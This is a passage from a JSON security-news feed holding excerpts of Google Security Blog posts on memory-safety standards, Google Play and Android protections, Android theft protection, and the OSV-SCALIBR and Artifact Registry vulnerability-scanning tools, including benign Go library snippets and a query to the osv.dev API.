secure-by-design advancements has matured to the point of practical, widespread deployment. This includes memory-safe languages, now including high-performance ones such as Rust, as well as safer language subsets like Safe Buffers for C++. \n\n These tools are already proving effective. In Android for example, the increasing adoption of memory-safe languages like Kotlin and Rust in new code has driven a significant reduction in vulnerabilities . \n\n Looking forward, we're also seeing exciting and promising developments in hardware. Technologies like ARM's Memory Tagging Extension (MTE) and the Capability Hardware Enhanced RISC Instructions (CHERI) architecture offer a complementary defense, particularly for existing code. \n\n While these advancements are encouraging, achieving comprehensive memory safety across the entire software industry requires more tha","detail":"Posted by Alex Rebert, Security Foundations, Ben Laurie, Research, Murali Vijayaraghavan, Research and Alex Richardson, Silicon \n\n For decades, memory safety vulnerabilities have been at the center of various security incidents across the industry, eroding trust in technology and costing billions . Traditional approaches, like code auditing, fuzzing, and exploit mitigations – while helpful – haven't been enough to stem the tide, while incurring an increasingly high cost. \n\n In this blog post, we are calling for a fundamental shift: a collective commitment to finally eliminate this class of vulnerabilities, anchored on secure-by-design practices – not just for ourselves but for the generations that follow. \n\n The shift we are calling for is reinforced by a recent ACM article calling to standardize memory safety we took part in releasing with academic and industry partners. It's a recognition that the lack of memory safety is no longer a niche technical problem but a societal one, impacting everything from national security to personal privacy. \n\n The standardization opportunity \n\n Over the past decade, a confluence of secure-by-design advancements has matured to the point of practical, widespread deployment. This includes memory-safe languages, now including high-performance ones such as Rust, as well as safer language subsets like Safe Buffers for C++. \n\n These tools are already proving effective. In Android for example, the increasing adoption of memory-safe languages like Kotlin and Rust in new code has driven a significant reduction in vulnerabilities . \n\n Looking forward, we're also seeing exciting and promising developments in hardware. Technologies like ARM's Memory Tagging Extension (MTE) and the Capability Hardware Enhanced RISC Instructions (CHERI) architecture offer a complementary defense, particularly for existing code. \n\n While these advancements are encouraging, achieving comprehensive memory safety across the entire software industry requires more than just individual technological progress: we need to create the right environment and accountability for their widespread adoption. Standardization is key to this. \n\n To facilitate standardization, we suggest establishing a common framework for specifying and objectively assessing memory safety assurances; doing so will lay the foundation for creating a market in which vendors are incentivized to invest in memory safety. Customers will be empowered to recognize, demand, and reward safety. This framework will provide governments and businesses with the clarity to specify memory safety requirements, driving the procurement of more secure systems. \n\n The framework we are proposing would complement existing efforts by defining specific, measurable criteria for achieving different levels of memory safety assurance across the industry. In this way, policymakers will gain the technical foundation to craft effective policy initiatives and incentives promoting memory safety. \n\n A blueprint for a memory-safe future \n\n We know there's more than one way of solving this problem, and we are ourselves investing in several. Importantly, our vision for achieving memory safety through standardization focuses on defining the desired outcomes rather than locking ourselves into specific technologies. \n\n To translate this vision into an effective standard, we need a framework that will: \n\n Foster innovation and support diverse approaches: The standard should focus on the security properties we want to achieve (e.g., freedom from spatial and temporal safety violations) rather than mandating specific implementation details. The framework should therefore be technology-neutral, allowing vendors to choose the best approach for their products and requirements. This encourages innovation and allows software and hardware manufacturers to adopt the best solutions as they emerge. \n\n Tailor memory safety requirements based on need: The framework should establish different levels of safety assurance, akin to SLSA levels , recognizing that different applications have different security needs and cost constraints. Similarly, we likely need distinct guidance for developing new systems and improving existing codebases. For instance, we probably do not need every single piece of code to be formally proven. This allows for tailored security , ensuring appropriate levels of memory safety for various contexts. \n\n Enable objective assessment: The framework should define clear criteria and potentially metrics for assessing memory safety and compliance with a given level of assurance. The goal would be to objectively compare the memory safety assurance of different software components or systems, much like we assess energy efficiency today. This will move us beyond subjective claims and towards objective and comparable security properties across products. \n\n Be practical and actionable : Alongside the technology-neutral framework, we need best practices for existing technologies. The framework should provide guidance on how to effectively leverage specific technologies to meet the standards. This includes answering questions such as when and to what extent unsafe code is acceptable within larger software systems, and guidelines on structuring such unsafe dependencies to support compositional reasoning about safety. \n\n Google's commitment \n\n At Google, we're not just advocating for standardization and a memory-safe future, we're actively working to build it. \n\n We are collaborating with industry and academic partners to develop potential standards, and our joint authorship of the recent CACM call-to-action marks an important first step in this process. In addition, as outlined in our Secure by Design whitepaper and in our memory safety strategy , we are deeply committed to building security into the foundation of our products and services. \n\n This commitment is also reflected in our internal efforts. We are prioritizing memory-safe languages, and have already seen significant reductions in vulnerabilities by adopting languages like Rust in combination with existing, wide-spread usage of Java, Kotlin, and Go where performance constraints permit. We recognize that a complete transition to those languages will take time. That's why we're also investing in techniques to improve the safety of our existing C++ codebase by design, such as deploying hardened libc++ . \n\n Let's build a memory-safe future together \n\n This effort isn't about picking winners or dictating solutions. It's about creating a level playing field, empowering informed decision-making, and driving a virtuous cycle of security improvement. It's about enabling a future where: \n\n Developers and vendors can confidently build more secure systems, knowing their efforts can be objectively assessed. \n\n Businesses can procure memory-safe products with assurance, reducing their risk and protecting their customers. \n\n Governments can effectively protect critical infrastructure and incentivize the adoption of secure-by-design practices. \n\n Consumers are empowered to make decisions about the services they rely on and the devices they use with confidence – knowing the security of each option was assessed against a common framework. \n\n The journey towards memory safety requires a collective commitment to standardization. We need to build a future where memory safety is not an afterthought but a foundational principle, a future where the next generation inherits a digital world that is secure by design. \n\n Acknowledgments \n\n We'd like to thank our CACM article co-authors for their invaluable contributions: Robert N. M. Watson, John Baldwin, Tony Chen, David Chisnall, Jessica Clarke, Brooks Davis, Nathaniel Wesley Filardo, Brett Gutstein, Graeme Jenkinson, Christoph Kern, Alfredo Mazzinghi, Simon W. Moore, Peter G. Neumann, Hamed Okhravi, Peter Sewell, Laurence Tratt, Hugo Vincent, and Konrad Witaszczyk, as well as many others.\n\nThis is an excerpt of official research, not a reproduced","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-02-25T20:04:00.000Z","updatedAt":"2025-02-25T20:04:10.769Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Securing tomorrow's software: the need for memory safety standards","url":"https://security.googleblog.com/2025/02/securing-tomorrows-software-need-for.html","type":"primary","publishedAt":"2025-02-25T20:04:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-how-we-kept-google-play-android-app-ecosystem-safe-2024-c6be20d2a936","cveId":null,"aliases":[],"kind":"advisory","title":"How we kept the Google Play & Android app ecosystems safe in 2024","summary":"Posted by Bethel Otuteye and Khawaja Shams (Android Security and Privacy Team), and Ron Aquino (Play Trust and Safety) \n\nAndroid and Google Play comprise a vibrant ecosystem with billions of users around the globe and millions of helpful apps. Keeping this ecosystem safe for users and developers remains our top priority. However, like any flourishing ecosystem, it also attracts its share of bad actors. That’s why every year, we continue to invest in more ways to protect our community and fight bad actors, so users can trust the apps they download from Google Play and developers can build thriving businesses. \n\nLast year, those investments included AI-powered threat detection, stronger privacy policies, supercharged developer tools, new industry-wide alliances, and more. As a result, we prevented 2.36 million policy-violating apps from being published on Google Play and banned more than 158,000 bad developer accounts that attempted to publish harmful apps. \n\nBut that was just the start. For more, take a look at our recent highlights from 2024:\n\n Google’s advanced AI: helping make Google Play a safer place\n\nTo keep out bad actors, we have always used a combination of human security experts and the latest threat-detection technology. In 2024, we used Google’s advanced AI to improve our systems’ ability to proactively identify malware, enabling us to detect and block bad apps more effectively. It also helps us streamline review processes for developers with a proven track record of policy compliance. Today, over 92% of our human reviews for harmful apps are AI-assisted , allowing us to take quicker and more accurate action to help prevent harmful apps from becoming available on Google Play.\n\nThat’s enabled us to stop more bad apps than ever from reaching users through the Play Store, protecting users from harmful or malicious apps before they can cause any damage.\n\n Working with developers to enhance security and privacy on Google Play\n\nTo protect user privacy, we’re wo","detail":"Posted by Bethel Otuteye and Khawaja Shams (Android Security and Privacy Team), and Ron Aquino (Play Trust and Safety) \n\nAndroid and Google Play comprise a vibrant ecosystem with billions of users around the globe and millions of helpful apps. Keeping this ecosystem safe for users and developers remains our top priority. However, like any flourishing ecosystem, it also attracts its share of bad actors. That’s why every year, we continue to invest in more ways to protect our community and fight bad actors, so users can trust the apps they download from Google Play and developers can build thriving businesses. \n\nLast year, those investments included AI-powered threat detection, stronger privacy policies, supercharged developer tools, new industry-wide alliances, and more. As a result, we prevented 2.36 million policy-violating apps from being published on Google Play and banned more than 158,000 bad developer accounts that attempted to publish harmful apps. \n\nBut that was just the start. For more, take a look at our recent highlights from 2024:\n\n Google’s advanced AI: helping make Google Play a safer place\n\nTo keep out bad actors, we have always used a combination of human security experts and the latest threat-detection technology. In 2024, we used Google’s advanced AI to improve our systems’ ability to proactively identify malware, enabling us to detect and block bad apps more effectively. It also helps us streamline review processes for developers with a proven track record of policy compliance. Today, over 92% of our human reviews for harmful apps are AI-assisted , allowing us to take quicker and more accurate action to help prevent harmful apps from becoming available on Google Play.\n\nThat’s enabled us to stop more bad apps than ever from reaching users through the Play Store, protecting users from harmful or malicious apps before they can cause any damage.\n\n Working with developers to enhance security and privacy on Google Play\n\nTo protect user privacy, we’re working with developers to reduce unnecessary access to sensitive data. In 2024, we prevented 1.3 million apps from getting excessive or unnecessary access to sensitive user data. We also required apps to be more transparent about how they handle user information by launching new developer requirements and a new “Data deletion” option for apps that support user accounts and data collection. This helps users manage their app data and understand the app’s deletion practices, making it easier for Play users to delete data collected from third-party apps.\n\nWe also worked to ensure that apps use the strongest and most up-to-date privacy and security capabilities Android has to offer. Every new version of Android introduces new security and privacy features, and we encourage developers to embrace these advancements as soon as possible. As a result of partnering closely with developers, over 91% of app installs on the Google Play Store now use the latest protections of Android 13 or newer. \n\n Safeguarding apps from scams and fraud is an ongoing battle for developers. The Play Integrity API allows developers to check if their apps have been tampered with or are running in potentially compromised environments, helping them to prevent abuse like fraud, bots, cheating, and data theft. Play Integrity API and Play’s automatic protection helps developers ensure that users are using the official Play version of their app with the latest security updates. Apps using Play integrity features are seeing 80% lower usage from unverified and untrusted sources on average. \n\nWe’re also constantly working to improve the safety of apps on Play at scale, such as with the Google Play SDK Index . This tool offers insights and data to help developers make more informed decisions about the safety of an SDK. Last year, in addition to adding 80 SDKs to the index, we also worked closely with SDK and app developers to address potential SDK security and privacy issues, helping to build safer and more secure apps for Google Play.\n\n Google Play’s multi-layered protections against bad apps \n\nTo create a trusted experience for everyone on Google Play, we use our SAFE principles as a guide, incorporating multi-layered protections that are always evolving to help keep Google Play safe. These protections start with the developers themselves, who play a crucial role in building secure apps. We provide developers with best-in-class tools , best practices , and on-demand training resources for building safe, high-quality apps. Every app undergoes rigorous review and testing , with only approved apps allowed to appear in the Play Store. Before a user downloads an app from Play, users can explore its user reviews, ratings, and Data safety section on Google Play to help them make an informed decision. And once installed, Google Play Protect , Android’s built-in security protection, helps to shield their Android device by continuously scanning for malicious app behavior.\n\n Enhancing Google Play Protect to help keep users safe on Android\n\nWhile the Play Store offers best-in-class security, we know it’s not the only place users download Android apps – so it’s important that we also defend Android users from more generalized mobile threats. To do this in an open ecosystem, we’ve invested in sophisticated, real-time defenses that protect against scams, malware, and abusive apps. These intelligent security measures help to keep users, user data, and devices safe, even if apps are installed from various sources with varying levels of security. \n\n Google Play Protect automatically scans every app on Android devices with Google Play Services, no matter the download source. This built-in protection, enabled by default, provides crucial security against malware and unwanted software. Google Play Protect scans more than 200 billion apps daily and performs real-time scanning at the code-level on novel apps to combat emerging and hidden threats, like polymorphic malware. In 2024, Google Play Protect’s real-time scanning identified more than 13 million new malicious apps from outside Google Play 1 . \n\nGoogle Play Protect is always evolving to combat new threats and protect users from harmful apps that can lead to scams and fraud. Here are some of the new improvements that are now available globally on Android devices with Google Play Services: \n\n Reminder notifications in Chrome on Android to re-enable Google Play Protect: According to our research, more than 95 percent of app installations from major malware families that exploit sensitive permissions highly correlated to financial fraud came from Internet-sideloading sources like web browsers, messaging apps, or file managers. To help users stay protected when browsing the web, Chrome will now display a reminder notification to re-enable Google Play Protect if it has been turned off. \n\n Additional protection against social engineering attacks: Scammers may manipulate users into disabling Play Protect during calls to download malicious Internet-sideloaded apps. To prevent this, the Play Protect app scanning toggle is now temporarily disabled during phone or video calls. This safeguard is enabled by default during traditional phone calls as well as during voice and video calls in popular third-party apps.\n\n Automatically revoking app permissions for potentially dangerous apps: Since Android 11, we’ve taken a proactive approach to data privacy by automatically resetting permissions for apps that users haven't used in a while . This ensures apps can only access the data they truly need, and users can always grant permissions back if necessary. To further enhance security, Play Protect now automatically revokes permissions for potentially harmful apps, limiting their access to sensitive data like storage, photos, and camera. Users can restore app permissions at any time, with a confirmation step for added security.\n\nGoogle Play Protect’s enhanced fraud protection pilot analyzes and automatically blocks th","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-01-29T17:59:00.000Z","updatedAt":"2025-01-29T18:39:07.407Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: How we kept the Google Play & Android app ecosystems safe in 2024","url":"https://security.googleblog.com/2025/01/how-we-kept-google-play-android-app-ecosystem-safe-2024.html","type":"primary","publishedAt":"2025-01-29T17:59:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-android-theft-protection-identity-check-expanded-features-8e4b62f76cef","cveId":null,"aliases":[],"kind":"advisory","title":"Android enhances theft protection with Identity Check and expanded features","summary":"Posted by Jianing Sandra Guo, Product Manager, Android, Nataliya Stanetsky, Staff Program Manager, Android \n\nToday, people around the world rely on their mobile devices to help them stay connected with friends and family, manage finances, keep track of healthcare information and more – all from their fingertips. But a stolen device in the wrong hands can expose sensitive data, leaving you vulnerable to identity theft, financial fraud and privacy breaches.\n\nThis is why we recently launched Android theft protection , a comprehensive suite of features designed to protect you and your data at every stage – before, during, and after device theft. As part of our commitment to help you stay safe on Android, we’re expanding and enhancing these features to deliver even more robust protection to more users around the world. \n\n Identity Check rolling out to Pixel and Samsung One UI 7 devices \n\nWe’re officially launching Identity Check, first on Pixel and Samsung Galaxy devices eligible for One UI 7 1 , to provide better protection for your critical account and device settings. When you turn on Identity Check, your device will require explicit biometric authentication to access certain sensitive resources when you’re outside of trusted locations. Identity Check also enables enhanced protection for Google Accounts on all supported devices and additional security for Samsung Accounts on One UI 7 eligible Galaxy devices, making it much more difficult for an unauthorized attacker to take over accounts signed in on the device. \n\nAs part of enabling Identity Check, you can designate one or more trusted locations. When you’re outside of these trusted places, biometric authentication will be required to access critical account and device settings, like changing your device PIN or biometrics, disabling theft protection, or accessing Passkeys. \n\nIdentity Check gives you more peace of mind that your most sensitive device assets are protected against unauthorized access, even if a thief or","detail":"Posted by Jianing Sandra Guo, Product Manager, Android, Nataliya Stanetsky, Staff Program Manager, Android \n\nToday, people around the world rely on their mobile devices to help them stay connected with friends and family, manage finances, keep track of healthcare information and more – all from their fingertips. But a stolen device in the wrong hands can expose sensitive data, leaving you vulnerable to identity theft, financial fraud and privacy breaches.\n\nThis is why we recently launched Android theft protection , a comprehensive suite of features designed to protect you and your data at every stage – before, during, and after device theft. As part of our commitment to help you stay safe on Android, we’re expanding and enhancing these features to deliver even more robust protection to more users around the world. \n\n Identity Check rolling out to Pixel and Samsung One UI 7 devices \n\nWe’re officially launching Identity Check, first on Pixel and Samsung Galaxy devices eligible for One UI 7 1 , to provide better protection for your critical account and device settings. When you turn on Identity Check, your device will require explicit biometric authentication to access certain sensitive resources when you’re outside of trusted locations. Identity Check also enables enhanced protection for Google Accounts on all supported devices and additional security for Samsung Accounts on One UI 7 eligible Galaxy devices, making it much more difficult for an unauthorized attacker to take over accounts signed in on the device. \n\nAs part of enabling Identity Check, you can designate one or more trusted locations. When you’re outside of these trusted places, biometric authentication will be required to access critical account and device settings, like changing your device PIN or biometrics, disabling theft protection, or accessing Passkeys. \n\nIdentity Check gives you more peace of mind that your most sensitive device assets are protected against unauthorized access, even if a thief or bad actor manages to learn your device PIN. \n\nIdentity Check is rolling out now to Pixel devices with Android 15 and will be available on One UI 7 eligible Galaxy devices in the coming weeks. It will roll out to supported Android devices from other manufacturers later this year. \n\n Theft Detection Lock: expanding AI-powered protection to more users \n\nOne of the top theft protection features introduced last year was Theft Detection Lock, which uses an on-device AI-powered algorithm to help detect when your phone may be forcibly taken from you. If the machine learning algorithm detects a potential theft attempt on your unlocked device, it locks your screen to keep thieves out.\n\nTheft Detection Lock is now fully rolled out to Android 10+ phones 2 around the world. \n\n Protecting your Android device from theft \n\nWe're collaborating with the GSMA and industry experts to combat mobile device theft by sharing information, tools and prevention techniques. Stay tuned for an upcoming GSMA white paper, developed in partnership with the mobile industry, with more information on protecting yourself and your organization from device theft.\n\nWith the addition of Identity Check and the ongoing enhancements to our existing features, Android offers a robust and comprehensive set of tools to protect your devices and your data from theft. We’re dedicated to providing you with peace of mind, knowing your personal information is safe and secure. \n\n You can turn on the new Android theft features by clicking here on a supported Android device. Learn more about our theft protection features by visiting our help center . \n\n Notes\n\n Timing, availability and feature names may vary in One UI 7. ↩ \n \n With the exclusion for Android Go smartphones ↩\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-01-23T18:00:00.000Z","updatedAt":"2025-01-23T18:01:21.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Android enhances theft protection with Identity Check and expanded features","url":"https://security.googleblog.com/2025/01/android-theft-protection-identity-check-expanded-features.html","type":"primary","publishedAt":"2025-01-23T18:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-osv-scalibr-library-for-software-7aefc83b5a81","cveId":null,"aliases":[],"kind":"advisory","title":"OSV-SCALIBR: A library for Software Composition Analysis","summary":"Posted by Erik Varga, Vulnerability Management, and Rex Pan, Open Source Security Team \n\n In December 2022, we announced OSV-Scanner , a tool to enable developers to easily scan for vulnerabilities in their open source dependencies. Together with the open source community, we’ve continued to build this tool, adding remediation features , as well as expanding ecosystem support to 11 programming languages and 20 package manager formats. \n\n Today, we’re excited to release OSV-SCALIBR (Software Composition Analysis LIBRary), an extensible library for SCA and file system scanning. OSV-SCALIBR combines Google’s internal vulnerability management expertise into one scanning library with significant new capabilities such as: \n\n SCA for installed packages, standalone binaries, as well as source code \n\n OSes package scanning on Linux (COS, Debian, Ubuntu, RHEL, and much more), Windows, and Mac \n\n Artifact and lockfile scanning in major language ecosystems (Go, Java, Javascript, Python, Ruby, and much more) \n\n Vulnerability scanning tools such as weak credential detectors for Linux, Windows, and Mac \n\n SBOM generation in SPDX and CycloneDX, the two most popular document formats \n\n Optimization for on-host scanning of resource constrained environments where performance and low resource consumption is critical \n\n OSV-SCALIBR is now the primary SCA engine used within Google for live hosts, code repos, and containers. It’s been used and tested extensively across many different products and internal tools to help generate SBOMs, find vulnerabilities, and help protect our users’ data at Google scale. \n\n We offer OSV-SCALIBR primarily as an open source Go library today, and we're working on adding its new capabilities into OSV-Scanner as the primary CLI interface. \n\n Using OSV-SCALIBR as a library \n\n All of OSV-SCALIBR's capabilities are modularized into plugins for software extraction and vulnerability detection which are very simple to expand .You can use OSV-SCALIBR as a library to","detail":"Posted by Erik Varga, Vulnerability Management, and Rex Pan, Open Source Security Team \n\n In December 2022, we announced OSV-Scanner , a tool to enable developers to easily scan for vulnerabilities in their open source dependencies. Together with the open source community, we’ve continued to build this tool, adding remediation features , as well as expanding ecosystem support to 11 programming languages and 20 package manager formats. \n\n Today, we’re excited to release OSV-SCALIBR (Software Composition Analysis LIBRary), an extensible library for SCA and file system scanning. OSV-SCALIBR combines Google’s internal vulnerability management expertise into one scanning library with significant new capabilities such as: \n\n SCA for installed packages, standalone binaries, as well as source code \n\n OSes package scanning on Linux (COS, Debian, Ubuntu, RHEL, and much more), Windows, and Mac \n\n Artifact and lockfile scanning in major language ecosystems (Go, Java, Javascript, Python, Ruby, and much more) \n\n Vulnerability scanning tools such as weak credential detectors for Linux, Windows, and Mac \n\n SBOM generation in SPDX and CycloneDX, the two most popular document formats \n\n Optimization for on-host scanning of resource constrained environments where performance and low resource consumption is critical \n\n OSV-SCALIBR is now the primary SCA engine used within Google for live hosts, code repos, and containers. It’s been used and tested extensively across many different products and internal tools to help generate SBOMs, find vulnerabilities, and help protect our users’ data at Google scale. \n\n We offer OSV-SCALIBR primarily as an open source Go library today, and we're working on adding its new capabilities into OSV-Scanner as the primary CLI interface. \n\n Using OSV-SCALIBR as a library \n\n All of OSV-SCALIBR's capabilities are modularized into plugins for software extraction and vulnerability detection which are very simple to expand .You can use OSV-SCALIBR as a library to: \n\n 1.Generate SBOMs from the build artifacts and code repos on your live host: \n\n import ( \n\n \"context\" \n\n \"github.com/google/osv-scalibr\" \n\n \"github.com/google/osv-scalibr/converter\" \n\n \"github.com/google/osv-scalibr/extractor/filesystem/list\" \n\n \"github.com/google/osv-scalibr/fs\" \n\n \"github.com/google/osv-scalibr/plugin\" \n\n spdx \"github.com/spdx/tools-golang/spdx/v2/v2_3\" \n\n ) \n\n func GenSBOM ( ctx context . Context ) * spdx . Document { \n\n capab := & plugin . Capabilities { OS : plugin . OSLinux } \n\n cfg := & scalibr . ScanConfig { \n\n ScanRoots : fs . RealFSScanRoots ( \"/\" ), \n\n FilesystemExtractors : list . FromCapabilities( capab) , \n\n Capabilities : capab , \n\n } \n\n result := scalibr . New (). Scan ( ctx , cfg ) \n\n return converter . ToSPDX23 ( result , converter . SPDXConfig {}) \n\n } \n\n 2. Scan a git repo for SBOMs: \n\n Simply replace \"/\" with the path to your git repo. Also take a look at the various language extractors to enable for code scanning. \n\n 3. Scan a remote container for SBOMs: \n\n Replace the scan config from the above code snippet with \n\n import ( \n\n ... \n\n \"github.com/google/go-containerregistry/pkg/authn\" \n\n \"github.com/google/go-containerregistry/pkg/v1/remote\" \n\n \"github.com/google/osv-scalibr/artifact/image\" \n\n ... \n\n ) \n\n ... \n\n filesys , _ := image . NewFromRemoteName ( \n\n \"alpine:latest\" , \n\n remote . WithAuthFromKeychain ( authn . DefaultKeychain ), \n\n ) \n\n cfg := & scalibr . ScanConfig { \n\n ScanRoots : [] * fs . ScanRoot {{ FS : filesys }}, \n\n ... \n\n } \n\n 4. Find vulnerabilities on your filesystem or a remote container: \n\n Extract the PURLs from the SCALIBR inventory results from the previous steps: \n\n import ( \n\n ... \n\n \"github.com/google/osv-scalibr/converter\" \n\n ... \n\n ) \n\n ... \n\n result := scalibr . New (). Scan ( ctx , cfg ) \n\n for _ , i := range result . Inventories { \n\n fmt . Println ( converter . ToPURL ( i )) \n\n } \n\n And send them to osv.dev , e.g. \n\n $ curl -d '{\"package\": {\"purl\": \"pkg:npm/dojo@1.2.3\"}}' \"https://api.osv.dev/v1/query\" \n\n See the usage docs for more details. \n\n OSV-Scanner + OSV-SCALIBR \n\n Users looking for an out-of-the-box vulnerability scanning CLI tool should check out OSV-Scanner , which already provides comprehensive language package scanning capabilities using much of the same extraction as OSV-SCALIBR. \n\n Some of OSV-SCALIBR’s capabilities are not yet available in OSV-Scanner, but we’re currently working on integrating OSV-SCALIBR more deeply into OSV-Scanner. This will make more and more of OSV-SCALIBR’s capabilities available in OSV-Scanner in the next few months, including installed package extraction, weak credentials scanning, SBOM generation, and more. \n\n Look out soon for an announcement of OSV-Scanner V2 with many of these new features available. OSV-Scanner will become the primary frontend to the OSV-SCALIBR library for users who require a CLI interface. Existing users of OSV-Scanner can continue to use the tool the same way, with backwards compatibility maintained for all existing use cases. \n\n For installation and usage instructions, have a look at OSV-Scanner’s documentation here . \n\n What’s next \n\n In addition to making all of OSV-SCALIBR’s features available in OSV-Scanner, we're also working on additional new capabilities. Here's some of the things you can expect: \n\n Support for more OS and language ecosystems, both for regular extraction and for Guided Remediation \n\n Layer attribution and base image identification for container scanning \n\n Reachability analysis to reduce false positive vulnerability matches \n\n More vulnerability and misconfiguration detectors for Windows \n\n More weak credentials detectors \n\n We hope that this library helps developers and organizations to secure their software and encourages the open source community to contribute back by sharing new plugins on top of OSV-SCALIBR. \n\n If you have any questions or if you would like to contribute, don't hesitate to reach out to us at osv-discuss@google.com or by posting an issue in our issue tracker .\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2025-01-16T19:06:00.000Z","updatedAt":"2025-01-16T19:09:19.851Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: OSV-SCALIBR: A library for Software Composition Analysis","url":"https://security.googleblog.com/2025/01/osv-scalibr-library-for-software.html","type":"primary","publishedAt":"2025-01-16T19:06:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"google-security-google-cloud-expands-vulnerability-ceabbfae9d70","cveId":null,"aliases":[],"kind":"advisory","title":"Google Cloud expands vulnerability detection for Artifact Registry using OSV","summary":"Posted by Greg Mucci, Product Manager, Artifact Analysis, Oliver Chang, Senior Staff Engineering, OSV, and Charl de Nysschen, Product Manager OSV \n\n D evOps teams dedicated to securing their supply chain and predicting potential risks consistently face novel threats. Fortunately, they can now improve their image and container security by harnessing Google-grade vulnerability scanning, which offers expanded open-source coverage. A significant benefit of utilizing Google Cloud Platform is its integrated security tools, including Artifact Analysis. This scanning service leverages the same infrastructure that Google depends on to monitor vulnerabilities within its internal systems and software supply chains. \n\n Artifact Analysis has recently expanded its scanning coverage to eight additional language packages, four operating systems, and two extensively utilized base images, making it a more robust and versatile tool than ever before. \n\n This enhanced coverage was achieved by integrating Artifact Analysis with the Open Source Vulnerabilities (OSV) platform and database. This integration provides industry-leading insights into open source vulnerabilities—a crucial capability as software supply chain attacks continue to grow in frequency and complexity, impacting organizations reliant on open source software. \n\n With these recent updates, customers can now successfully scan the vast majority of the images they push to Artifact Registry. These successful scans ensure that any known vulnerabilities are detected, reported, and can be integrated into a broader vulnerability management program, allowing teams to take prompt action . \n\n Open source vulnerabilities, with more reach \n\n Artifact Analysis pulls vulnerability information directly from OSV, which is the only open source, distributed vulnerability database that gets information directly from open source practitioners. OSV’s database provides a consistent, high quality, high fidelity database of vulnerabilities from au","detail":"Posted by Greg Mucci, Product Manager, Artifact Analysis, Oliver Chang, Senior Staff Engineering, OSV, and Charl de Nysschen, Product Manager OSV \n\n D evOps teams dedicated to securing their supply chain and predicting potential risks consistently face novel threats. Fortunately, they can now improve their image and container security by harnessing Google-grade vulnerability scanning, which offers expanded open-source coverage. A significant benefit of utilizing Google Cloud Platform is its integrated security tools, including Artifact Analysis. This scanning service leverages the same infrastructure that Google depends on to monitor vulnerabilities within its internal systems and software supply chains. \n\n Artifact Analysis has recently expanded its scanning coverage to eight additional language packages, four operating systems, and two extensively utilized base images, making it a more robust and versatile tool than ever before. \n\n This enhanced coverage was achieved by integrating Artifact Analysis with the Open Source Vulnerabilities (OSV) platform and database. This integration provides industry-leading insights into open source vulnerabilities—a crucial capability as software supply chain attacks continue to grow in frequency and complexity, impacting organizations reliant on open source software. \n\n With these recent updates, customers can now successfully scan the vast majority of the images they push to Artifact Registry. These successful scans ensure that any known vulnerabilities are detected, reported, and can be integrated into a broader vulnerability management program, allowing teams to take prompt action . \n\n Open source vulnerabilities, with more reach \n\n Artifact Analysis pulls vulnerability information directly from OSV, which is the only open source, distributed vulnerability database that gets information directly from open source practitioners. OSV’s database provides a consistent, high quality, high fidelity database of vulnerabilities from authoritative sources who have adopted the OSV schema . This ensures the database has accurate information to reliably match software dependencies to known vulnerabilities—previously a difficult process reliant on inaccurate mechanisms such as CPEs (Common 